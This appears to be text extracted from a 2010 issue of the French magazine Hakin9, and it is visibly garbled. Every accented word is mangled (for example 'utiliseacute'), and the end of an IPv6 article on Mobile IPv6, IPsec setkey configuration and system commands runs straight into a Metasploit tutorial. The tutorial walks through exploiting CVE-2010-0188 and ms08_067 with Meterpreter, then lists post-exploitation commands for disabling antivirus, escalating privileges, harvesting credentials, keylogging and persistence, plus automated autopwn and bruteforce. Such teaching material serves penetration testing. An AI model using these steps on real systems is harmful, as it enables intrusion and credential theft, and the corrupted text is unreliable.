Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 23: hakin9_05_2010_FR

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

